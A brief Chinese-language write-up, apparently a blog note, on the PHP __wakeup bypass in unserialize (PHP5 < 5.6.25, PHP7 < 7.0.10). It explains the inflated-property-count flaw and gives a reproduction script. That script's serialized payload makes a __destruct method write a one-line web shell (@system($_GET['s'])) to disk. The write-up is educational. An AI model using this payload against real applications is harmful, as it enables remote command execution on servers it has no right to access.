影響範圍
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞原理
當反序列化字符串中,表示屬性個數的值大於真實屬性個數時,會繞過 __wakeup 函數的執行。
概念
序列化 (Serialization)是將對象的狀態信息轉換爲可以存儲或傳輸的形式的過程。在序列化期間,對象將其當前狀態寫入到臨時或持久性存儲區。以後,可以通過從存儲區中讀取或反序列化對象的狀態,重新創建該對象。
PHP中的序列化和反序列化函數:
serialize:將PHP對象序列化爲字符串。
unserialize:對已序列化的變量進行操作,將其轉換回 PHP 的值。
__sleep(),執行serialize()時,先會調用這個函數。
__wakeup(),執行unserialize()時,先會調用這個函數。
復現
以下代碼是我在win10虛擬機中使用phpstudy集成的php5.2.17nts在cli下測試結果:
<?php
class ClassName
{
var $a = "test";
function __destruct()
{
$fp = fopen("C:\phpstudy_pro\Extensions\php\php5.2.17nts\hello.php", "w");
fputs($fp, $this->a);
fclose($fp);
}
function __wakeup()
{
foreach (get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
// echo serialize(new ClassName);die; // O:9:"ClassName":1:{s:1:"a";s:4:"test";}
// 改變對象對應數量,繞過__wakeup函數執行。
$obj = unserialize('O:9:"ClassName":2:{s:1:"a";s:29:"<?php @system($_GET["s"]); ?>";}');
以上代碼執行後繞過了__wakeup函數。
參考
https://mochazz.github.io/2018/12/30/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96bug/
https://xz.aliyun.com/t/378
https://www.leavesongs.com/PENETRATION/wecenter-unserialize-arbitrary-sql-execute.html